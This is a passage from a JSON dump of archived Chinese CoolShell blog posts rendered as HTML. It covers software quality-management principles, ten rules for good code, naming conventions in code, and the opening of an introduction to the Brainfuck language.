class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6639.html\">千万别惹程序员 </a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4626.html\"><img alt=\"读书笔记：对线程模型的批评\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4626.html\">读书笔记：对线程模型的批评</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3385.html\"><img alt=\"编程语言流行度\" height=\"150\" src=\"../wp-content/uploads/2010/12/rank_scatter1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3385.html\">编程语言流行度</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3100.html\"><img alt=\"编程语言进化\" height=\"150\" src=\"../wp-content/uploads/2010/10/language-evolution-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3100.html\">编程语言进化</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2724.html\"><img alt=\"计算机编程简史图\" height=\"150\" src=\"../wp-content/uploads/2010/07/aboutprogramming04.eng_-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2724.html\">计算机编程简史图</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2598.html\"><img alt=\"五个编程语言设计的失误\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/22.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2598.html\">五个编程语言设计的失误</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/973.html\">编程语言的评测</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-6-6 质量管理经中的八个法则.html",
    "content": "<html><body><p><span><span>质量管理在软件工程中是非常非常重要的一个环节，无论你有多么精妙的算法，或是使用了多么先进的技术，还是拥有了多少强的设计，在质量控制或质量管理面前，这些都可能什么都不是。这里，有一些质量管理的法则，可以让软件的用户从中受益。如果对质量管理一言以蔽之：面对一个长期不断需要改善的软件，当其用户或是管理者们来说，他们对某个组织所提供的标准有一种完全和最基本的信任。</span></span><a href=\"http://choosyinfo.com/blogs/wp-content/uploads/2009/06/qualitymangement.jpg\"></a></p>\n<p>下面，我们给出8个质量管理的法则：</p>\n<p><strong>1. 始终从用户角度出发:</strong> “无论何时何地，我们都需要明白用户当前的或未来的需求，并能够达到用户的需求，甚至超出用户的期望。”</p>\n<p>这是整个软件工程的重中之重。质量管理从某种意义上来说，就是实现用户需求的质量的管理。这需要我们的质量管理管理和用户的关系，以及把用户的需求和整个团队（开发组，测试组，产品组，项目组等等）进行有些的沟通管理。</p>\n<p><span id=\"more-971\"></span></p>\n<p><strong>2. 领导能力: </strong>“领导者需要建立一个团结统一的有明确方向的团队。这个团队可以创造并维护一种良好的内部气氛，这种氛围可以使得所有的人都能参与进来，从而达到整个团队的目标。”</p>\n<p>对此，我们需要有一个有前瞻性的领导能为整个团队创建一种相互信任的环境。提倡诚实，并积极引导团队成员。从而可以激励每个人，并创建一种策略（比如奖罚机制）来达到这这些目标。</p>\n<p><strong>3. 团队成员主动参与性:</strong><span> “团队成员总是有不同分工和不同职责的，只有所有的团队成员都参与进来，那么整个项目或是整个软件的各个部分，各个方面才会得到完美的发挥。”</span></p>\n<p><span>对此，让团队成员有主人翁精神，让他们觉得自己是工作或任务的所有者，是是否能让所有成员主动参与的关键。这里，我们还需要让每个被参与者都要从关注于用户的角度出发，并且帮助和支持团队成员，以及为他们营造一个比较满意的工作环境。</span></p>\n<p><strong>4. 流程方法:</strong> “我们需要一个非常有效率的流程或方法来把所有的资源和日常工作活动整合在一起，形成一种生产线式的生产模式”</p>\n<p>对此，定义一个合适的流程（注意这里是合适的流程，好的流程并不一定就是合适的）。这个流程需要有确定整个日常生产活动的输入，输出以及其功能。风险管理，分配责任，以及管理外部和内部的用户。</p>\n<p><strong>5. 系统方法管理:</strong> “确定，理解，并管理一个系统相关的流程，以使得整个团队能够有效并快速地自我改善。”</p>\n<p>对此，定义一个系统的组织架构，这个组织架构是高效和有效的。这里我们需要了解到团队的需求（硬件的，软件的，人员的，等等），并了解一些可能会发生的限制。这样我们才能有效地管理整个团队系统。</p>\n<p><strong>6. 连续的改进:</strong> “不断地改进是一个团队需要给自己设制的永久目标”</p>\n<p>对此，工作效率上的改进是整个改进的重中之重。工作效率方面，有大程度上取决于工作流程的改进，所以，流程改进是非常重要的，也是需要长期不断去努力改进的。要达到这一目标，一般来说，我们可以使用“计划——执行——检查——总结”这样的循环。</p>\n<p><strong>7. 决策中的事实说话:</strong> “只有基于对实际数据和信息的分析后，我们才能制定出有效的决策和行动”</p>\n<p>对此，我们需要注意日常数据和信息的收集，并且我们需要对采集到的数据和信息的精确性进行测量。这样才能让我们在进行决策和行动能基于正确的数据。</p>\n<p><strong>8. 互惠互利:</strong> “一个团队中的各个部门或各个子团队虽然是在功能上是独立的，但是，一个互惠互利的局面可以增强整个团队或公司的整体能力并创建更大的价值。”</p>\n<p><span>对此，我们需要一个健康的团队之间的关系。好的沟通只能让团队获益一时，而只有建立一个长期互惠互利关系或局面，才是长期。</span></p>\n<p><span>（全文完）</span><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/76.html\"><img alt=\"怎样做一个 Program Manager\" height=\"150\" src=\"../wp-content/uploads/2009/03/09meeting-thumbnail-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/76.html\">怎样做一个 Program Manager</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/652.html\"><img alt=\"MySQL: InnoDB 还是 MyISAM?\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/652.html\">MySQL: InnoDB 还是 MyISAM?</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2474.html\"><img alt=\"（麻省理工免费课程）C语言内存管理和C++面向对象编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2474.html\">（麻省理工免费课程）C语言内存管理和C++面向对象编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4235.html\"><img alt=\"程序员的谎谬之言还是至理名言？\" height=\"150\" src=\"../wp-content/uploads/2011/04/wisdom-225x300-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4235.html\">程序员的谎谬之言还是至理名言？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6312.html\"><img alt=\"一个女程序员的故事\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/4.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6312.html\">一个女程序员的故事</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1278.html\"><img alt=\"Linus Torvalds 语录 Top 10\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1278.html\">Linus Torvalds 语录 Top 10</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/971.html\">质量管理经中的八个法则</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-6-7 优质代码的十诫.html",
    "content": "<html><body><p></p>\n<h2>1.- DRY: Don’t repeat yourself.</h2>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/06/10commandements.jpg\"><img alt=\"10commandements\" class=\"alignright size-medium wp-image-1008\" height=\"300\" src=\"../wp-content/uploads/2009/06/10commandements-223x300.jpg\" title=\"10commandements\" width=\"223\"/></a>DRY 是一个最简单的法则，也是最容易被理解的。但它也可能是最难被应用的（因为要做到这样，我们需要在泛型设计上做相当的努力，这并不是一件容易的事）。它意味着，当我们在两个或多个地方的时候发现一些相似的代码的时候，我们需要把他们的共性抽象出来形一个唯一的新方法，并且改变现有的地方的代码让他们以一些合适的参数调用这个新的方法。</p>\n<p><a href=\"http://en.wikipedia.org/wiki/Don%27t_repeat_yourself\" target=\"_blank\">DRY</a> 这一法则可能是编程届中最通用的法则了，目前为止，应该没有哪个程序员对这一法则存有异议。但是，我们却能发现，一些程序在编写单元测试（unit testing）时忘记了这一法则：让我们相像一下，当你改变一个类的若干接口，如果你没有使用DRY，那么，那些通过调用一系例类的接口的unit test的程序，都需要被手动的更改。比如：如果你的unit test的诸多test cases中没有使用一个标准共有的构造类的方法，而是每个test case自己去构造类的实例，那么，当类的构造函数被改变时，你需要修改多少个test cases啊。这就是不使用DRY法则所带来的恶果。</p>\n<p><span id=\"more-1007\"></span></p>\n<h2>2.- 短小的方法.</h2>\n<p>至少，我们有下面三个不错的理由要求程序员们写下短小的方法。</p>\n<ol>\n<li>代码会变得更容易阅读。</li>\n<li>代码会变得更容易重用（短方法可以减少代码间的耦合程度）</li>\n<li>代码会变得更容易测试。</li>\n</ol>\n<h2>3.- 良好的命名规范</h2>\n<p>使用不错的统一的命名规范可以让你的程序变得更容易阅读和维护，当一个类，一个函数，一个变量的名字达到了那种可以“望文生义”的境界话，我们就可以少一些文档，少一些沟通。文章《<a href=\"https://coolshell.cn/articles/990.html\"><span style=\"color: #2970a6;\">编程中的命名设计那点事 </span></a>》可以给你一些提示。</p>\n<h2>4.- 赋予每个类正确的职责</h2>\n<p>一个类，一个职责，这类规则可以参考一下类的<a href=\"http://butunclebob.com/ArticleS.UncleBob.PrinciplesOfOod\" target=\"_blank\"><strong>S</strong>OLID </a>法则。但我们这里强调的不是一种单一的职责，而是一个正确的职责。如果你有一个类叫Customer，我们就不应该让这个类有sales 的方法，我们只能让这个类有和Customer有最直接关系的方法。</p>\n<h2>5.- 把代码组织起来</h2>\n<p>把代码组织起来有两具层次。</p>\n<ul>\n<li><strong>物理层组织</strong>：无论你使用什么样的目录，包(package)或名字空间(namespace)等的结构，你需要把你的类用一种标准的方法组织起来，这样可以方便查找。这是一种物理性质的代码组织。</li>\n<li><strong>逻辑层组织</strong>： 所谓逻辑层，主要是说，我们如果把两个不同功能的类或方法通过某种规范联系和组织起来。这里主要关注的是程序模块间的接口。这就是我们经常见到的程序模块的架构。</li>\n</ul>\n<h2>6.- 创建大量的单元测试</h2>\n<p>单元测试是最接近BUG的地方，也是修改BUG成本最低的地方，同样也是决定整个软件质量好坏的成败的地方。所以，只要有可能，你就应该写更多的，更好的单元测试案例，这样当你未来有相应代码改变的时候，你可以很简单知道你代码的改变是否影响了其它单元。</p>\n<h2>7.- 经常重构你的代码</h2>\n<p>软件开发是一种持续的发现的过程，从而让你的代码可以跟上最新的实际需求的变化。所以，我们要经常重构自己的代码来跟上这样的变化。当然，重构是有风险的，并不是所有的重构都是成功的，也不是我们随时都可以重构代码。下面是两个重构代码的先要条件，以避免让你引入更多的BUG，或是把本来就烂的代码变得更烂。</p>\n<ol>\n<li>有大量的单元测试来测试。正如前面所说，重构需要用大量的单元测试来做保障和测试。</li>\n<li>每次重构都不要大，用点点滴滴的小的重构来代替那种大型的重构。有太多的时候，当我们一开始计划重构2000行代码，而在3个小时后，我们就放弃这个计划并把代码恢复到原始的版本。所以，我们推荐的是，重构最好是从点点滴滴积累起来的。</li>\n</ol>\n<h2>8.- 程序注释是邪恶的</h2>\n<p>这一条一定是充满争议的，大多数程序员都认为程序注释是非常好的，是的，没错，程序注释在理论上是非常不错的。但是，在实际过程序当中，程序员们写出来的注释却是很糟糕的（程序员的表达能力很有问题），从而导致了程序注释成为了一切邪恶的化身，也导致了我们在阅读程序的时，大多数时候，我们都不读注释而直接读代码。所以，在这里，我们并不是鼓励不写注释，而是——如果你的注释写得不够好的话，那么，你还不如把更重要的时间花在重构一下你的代码，让你的代码更加易读，更加清楚，这比会比注释更好。</p>\n<h2>9.- 注重接口，而不是实现</h2>\n<p>这是一个最经典的规则了。接口注重的是——“What”是抽象，实现注重的是——“How”是细节。接口相当于一种合同契约，而实际的细节相当于对这种合同契约的一种运作和实现。运作是可以很灵活的，而合同契约则需要是相对需要稳定和不变的。如果，一个接口没有设计好而需要经常性的变化的话，那我们可以试想一下，这代来的后果，这绝对会是一件成本很大的事情。所以，在软件开发和调设中，接口是重中之重，而不是实现。然而我们的程序员总是注重于实现细节，所以他们局部的代码写的非常不错，但软件整体却设计得相对较差。这点需要我们多多注意。</p>\n<h2>10.- 代码审查机制</h2>\n<p>所有人都会出错，一个人出错的概率是很大的，两个人出错的概率就会小一些，人多一些，出错的概率就会越来越小。因为，人多了，就能够从不同的角度看待一个事情，虽然这样可能导致无效率的争论，但比起软件产品release后出现问题的维护成本，这点成本算是相当值得的。所以，这就是我们需要让不同的人来reivew代码，代码审查机制不但是一种发现问题的最有效的机制，同时也是一种可以知识共享的机制。当然，对于Code Review来说，下面有几个基本原则：</p>\n<ul>\n<li>审查者的能力一定要大于或等于代码作者的能力，不然，代码审查就成了一种对新手的training。</li>\n<li>而且，为了让审查者真正负责起来，而不是在敷衍审查工作，我们需要让审查者对审查过的代码负主要责任，而不是代码的作者。 </li>\n<li>另外，好的代码审查应该不是当代码完成的时候，而是在代码编写的过程中，不断地迭代代码审查。好的实践的，无论代码是否完成，代码审核需要几天一次地不断地进行。</li>\n</ul>\n<p>（<strong>我以我个人的语言叙述本文，并加入了我个人的经历，所以，请你在转载时请注意作者和出处，并且，请勿用于商业用途</strong>）</p>\n<p>文章：<a href=\"http://makinggoodsoftware.com/2009/06/04/10-commandments-for-creating-good-code/\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8990.html\"><img alt=\"Linus：利用二级指针删除单向链表\" height=\"150\" src=\"../wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8990.html\">Linus：利用二级指针删除单向链表</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8745.html\"><img alt=\"如此理解面向对象编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8745.html\">如此理解面向对象编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7886.html\"><img alt=\"代码执行的效率\" height=\"150\" src=\"../wp-content/uploads/2012/07/muxnt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7886.html\">代码执行的效率</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5444.html\"><img alt=\"千万不要把 bool 设计成函数参数\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5444.html\">千万不要把 bool 设计成函数参数</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5201.html\"><img alt=\"重构代码的7个阶段\" height=\"150\" src=\"../wp-content/uploads/2011/08/538efefbjw1dt8f6ua5rpg-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5201.html\">重构代码的7个阶段</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1007.html\">优质代码的十诫</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-6-7 编程中的命名设计那点事.html",
    "content": "<html><body><p>在我开始设计系统的时候，我会花去很多时间去设计命名，因为好的命名和好的设计是分不开的。</p>\n<blockquote><p>In the beginning was the <strong>Word</strong>, and the Word was with God, and the Word was God<br/>\n太初有道。道与神同在，道就是神。 (约翰福音第一章，第一节)</p></blockquote>\n<p>在设计过程中给类，方法和函数好的命名会带来好的设计，虽然这不是一定成立，但是如果坏的命名那一定不会给你带来好的设计。在设计过程，如果你发现你很难命名某一个模块，某个方法时，可能你真正遇到的问题不是难命名的问题，而是这个设计是否真的合理，你或许应该花更多的时间来重新设计一下你的模块。</p>\n<p>好的命名不仅会带来好的设计，好的命名还提高了程序的可读性，降低代码维护的成本。另一方面，如果糟糕的命名会给代码带来一堵无形的墙，让你必须深入代码去研究代码具有的行为，增加你理解代码的时间。</p>\n<p>为此我总结了几条关于命名的指导原则，希望这几条原则能为你的命名设计带来帮助，我使用的是C++的语法，当然这些原则也很容易扩展到其他语言中去。</p>\n<h3><span style=\"color: #339966;\">类型命名(类，接口，和结构)</span></h3>\n<p><span style=\"color: #339966;\"><br/>\n</span></p>\n<p><span style=\"color: #0000ff;\"><strong>名字应该尽量采用名词</strong></span><br/>\n<code>Bad:           Happy<br/>\nGood:          Happiness</code></p>\n<p><span id=\"more-990\"></span></p>\n<p><span style=\"color: #0000ff;\"><strong>不要使用类似名字空间的前缀</strong></span><br/>\n<code>Bad:           SystemOnlineMessage<br/>\nGood:          System::Online:Message<br/>\n</code></p>\n<p><span style=\"color: #0000ff;\"><strong>形容词不要用太多，能描述清楚就行</strong></span><br/>\n<code>Bad:           IAbstractFactoryPatternBase<br/>\nGood:          IFactory<br/>\n</code></p>\n<p><span style=\"color: #0000ff;\"><strong>在类型中不要使用Manager 或则 Helper 或则其他没意义的单词</strong></span><br/>\n如果你一定要在一个类型上加上Manager或Helper，那么这个类型要么就是命名的非常糟糕，要么就是设计的非常糟糕，如果是后则，那么这个类型就应该管理manage和帮助help一下自己了。<br/>\n<code>Bad:           ConnectionManager<br/>\n               XmlHelper<br/>\nGood:          Connection<br/>\n               XmlDocument, XmlNode, etc.<br/>\n</code></p>\n<p><span style=\"color: #0000ff;\"><strong>如果某个类不能通过简单的命名来描述它具有的功能，可以考虑用类比的方式来命名</strong></span><code><br/>\nBad:           IncomingMessageQueue<br/>\n               CharacterArray<br/>\n               SpatialOrganizer<br/>\nGood:          Mailbox<br/>\n               String<br/>\n               Map<br/>\n</code></p>\n<p><span style=\"color: #0000ff;\"><strong>如果你使用类比，你就应该一致的使用它们</strong></span><br/>\n<code>Bad:           Mailbox,DestinationID<br/>\nGood:          Mailbox,Address<br/>\n</code></p>\n<h3><span style=\"color: #339966;\">函数(方法和过程)</span></h3>\n<p><span style=\"color: #339966;\"><br/>\n</span></p>\n<p><span style=\"color: #0000ff;\"><strong>简洁</strong></span><br/>\n<code>Bad:           list.GetNumberOfItems()<br/>\nGood:          list.Count()<br/>\n</code></p>\n<p><span style=\"color: #0000ff;\"><strong>不要太简洁</strong></span><br/>\n<code>Bad:           list.Verify()<br/>\nGood:          list.ContainsNull()<br/>\n</code></p>\n<p><span style=\"color: #0000ff;\"><strong>避免缩写</strong></span><br/>\n<code>Bad:           list.Srt()<br/>\nGood:          list.Sort()<br/>\n</code></p>\n<p><span style=\"color: #0000ff;\"><strong>对于完成某件事情的函数使用动词</strong></span><br/>\n<code>Bad:           obj.RefCount();<br/>\nGood:          list.Clear();<br/>\n               list.Sort();<br/>\n               obj.AddReference();<br/>\n</code></p>\n<p><span style=\"color: #0000ff;\"><strong>对于返回布尔型的函数，使用类似提问的方式</strong></span><br/>\n<code>Bad:           list.Empty();<br/>\nGood:          list.IsEmpty();<br/>\n               list.Contains(item);<br/>\n</code></p>\n<p><span style=\"color: #0000ff;\"><strong>对于只是返回属性，而不改变状态的函数则使用名词</strong></span><br/>\n<code>Bad:           list.GetCount();<br/>\nGood:          list.Count();<br/>\n</code></p>\n<p><span style=\"color: #0000ff;\"><strong>不要在函数名字中重复参数的名称</strong></span><br/>\n<code>Bad:           list.AddItem(item);<br/>\n               handler.ReceiveMessage(msg);<br/>\nGood:          list.Add(item);<br/>\n               handler.Receive(msg);<br/>\n</code></p>\n<p><span style=\"color: #0000ff;\"><strong>不要方法的名字中重复此方法的类的名称</strong></span><br/>\n<code>Bad:           list.AddToList(item);<br/>\nGood:          list.Add(item);<br/>\n</code></p>\n<p><span style=\"color: #0000ff;\"><strong>不要在函数的名字中加入返回类型，除非函数名必须以返回类型进行区别</strong></span><br/>\n<code>Bad:           list.GetCountInt();<br/>\nGood:          list.GetCount();<br/>\n               message.GetIntValue();<br/>\n               message.GetFloatValue();<br/>\n</code></p>\n<p><span style=\"color: #0000ff;\"><strong>不要名字中使用And 或则 Or</strong></span><br/>\n如果你使用一个连接词来连接函数名，那么这个函数肯定是做了太多的事情，更好的做法是将其分成更小的函数来处理(类似面向对象设计准则中的责任单一原则)。<br/>\n如果你想确保是这是一个原子的操作，那么你应该用一个名字来描述这个操作或一个类来封装他<br/>\n<code>Bad:           mail.VerifyAddressAndSendStatus();<br/>\nGood:          mail.VerifyAddress();<br/>\n               mail.SendStatus();<br/>\n</code></p>\n<p>这是一篇非常优秀的文章，我用我的语言在组织了一下，如果喜欢英文的读者可以点击<a href=\"http://journal.stuffwithstuff.com/2009/06/05/naming-things-in-code/\">这里</a>阅读原文<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8990.html\"><img alt=\"Linus：利用二级指针删除单向链表\" height=\"150\" src=\"../wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8990.html\">Linus：利用二级指针删除单向链表</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8745.html\"><img alt=\"如此理解面向对象编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8745.html\">如此理解面向对象编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7886.html\"><img alt=\"代码执行的效率\" height=\"150\" src=\"../wp-content/uploads/2012/07/muxnt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7886.html\">代码执行的效率</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5444.html\"><img alt=\"千万不要把 bool 设计成函数参数\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5444.html\">千万不要把 bool 设计成函数参数</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5201.html\"><img alt=\"重构代码的7个阶段\" height=\"150\" src=\"../wp-content/uploads/2011/08/538efefbjw1dt8f6ua5rpg-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5201.html\">重构代码的7个阶段</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/990.html\">编程中的命名设计那点事</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2009-7-12 BT雷人的程序语言.html",
    "content": "<html><body><p>这个世界从来都不会缺少另类的东西，人类自然世界如此，计算机世界也一样。编程语言方面，看过本站《<a href=\"../?p=914\" title=\"6个变态的C语言Hello World程序 - 661次点击\">6个变态的C语言Hello World程序</a>》的朋友们一定对BT和另类不会陌生，但那都是些小儿科，真正的BT和另类要是从语言级上来完成。让我们来看看其中一个比较另类的语言BrainFuck。看到这个程序语言的名字，请不要以为这是一个搞笑的语言，这是一个“严肃事情”，请大家用“最虔诚的态度”来阅读本文。</p>\n<h4>BF语言介绍</h4>\n<p><strong>Brainfuck</strong>，是一种极小化的计算机语言，它是由Urban Müller在1993年创建的。由于“绿王八”的原因，这种语言有时被称为<strong>brainf**k</strong>或<strong>brainf***</strong>，甚至被简称为<strong>BF</strong>。这种 语言，是一种按照“Turing complete（完整图灵机）”思想设计的语言，它的主要设计思路是：用最小的概念实现一种“简单”的语言，BrainF**k 语言只有八种符号，所有的操作都由这八种符号的组合来完成。</p>\n<p>BF基于一个简单的机器模型，除了八个指令，这个机器还包括：一个以字节为单位、被初始化为零的数组、一个指向该数组的指针(初始时指向数组的第一个字节)、以及用于输入输出的两个字节流。</p>\n<p>下面是这八种指令的描述，其中每个指令由一个字符标识：</p>\n<p><span id=\"more-1142\"></span></p>\n<table border=\"0\">\n<tbody>\n<tr>\n<th>字符</th>\n<th>含义</th>\n</tr>\n<tr>\n<td><code>&gt;</code></td>\n<td>指针加一</td>\n</tr>\n<tr>\n<td><code>&lt;</code></td>\n<td>指针减一</td>\n</tr>\n<tr>\n<td><code>+</code></td>\n<td>指针指向的字节的值加一</td>\n</tr>\n<tr>\n<td><code>-</code></td>\n<td>指针指向的字节的值减一</td>\n</tr>\n<tr>\n<td><code>.</code></td>\n<td>输出指针指向的单元内容（ASCII码）</td>\n</tr>\n<tr>\n<td><code>,</code></td>\n<td>输入内容到指针指向的单元（ASCII码）</td>\n</tr>\n<tr>\n<td><code>[</code></td>\n<td>如果指针指向的单元值为零，向后跳转到对应的<code>]</code>指令的次一指令处</td>\n</tr>\n<tr>\n<td><code>]</code></td>\n<td>如果指针指向的单元值不为零，向前跳转到对应的<code>[</code>指令的次一指令处</td>\n</tr>\n</tbody>\n</table>\n<p>（按照更节省时间的简单说法，<code>]</code>也可以说成“向后跳转到对应的<code>[</code>状态”。这两解释是一样的。）</p>\n<p>（第三种同价的说法，<code>[</code>意思是”向前跳转到对应的<code>]</code>“，<code>]</code>意思是”向后跳转到对应的<code>[</code>指令的次一指令处，如果指针指向的字节非零。”）</p>\n<p>Brainfuck程序可以用下面的替换方法翻译成